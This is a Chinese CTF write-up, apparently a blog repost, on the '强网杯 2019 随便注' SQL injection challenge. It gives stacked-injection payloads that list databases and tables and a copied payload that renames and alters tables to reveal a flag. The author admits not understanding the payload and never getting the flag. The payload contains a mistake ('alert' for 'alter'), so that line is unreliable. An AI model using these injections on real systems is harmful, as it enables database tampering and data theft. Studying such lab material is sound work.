SQL 注入的题目
[强网杯 2019]随便注
考察的有堆叠注入和 sql 注入技巧
再输 1'看看
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
有报错,输入的被执行了,这里是闭合的问题,推测是双引号闭合
提交个 1",又行了
忘了加引号了,果然随便注(
这次返回的是一些过滤
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
可以堆叠注入 0'; show databases; #
再试试写
0'; show tables; #
再去爆字段名,最后在那一串数字的表里发现了 flag 字段
然后去找了一堆 payload..
去找到的方法
将 words 表改名为 word1 或其它任意名字,1919810931114514 改名为 words,将新的 word 表插入一列,列名为 id,将 flag 列改名为 data
构造 payload(从网上找来的 payload,目前还妹研究明白)
1';rename table words to word1;rename table 1919810931114514 to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
这里倒数第二个语句有 sql 的插入语句,考察相关知识(字段属性等)
没有 flag 是因为还没有复现出来....
版权声明: 本文为 InfoQ 作者【w010w】的原创文章。
原文链接:【http://xie.infoq.cn/article/8c7473ee30d100e4ada17d9f0】。
本文遵守【CC-BY 4.0】协议,转载请保留原文出处及本版权声明。
评论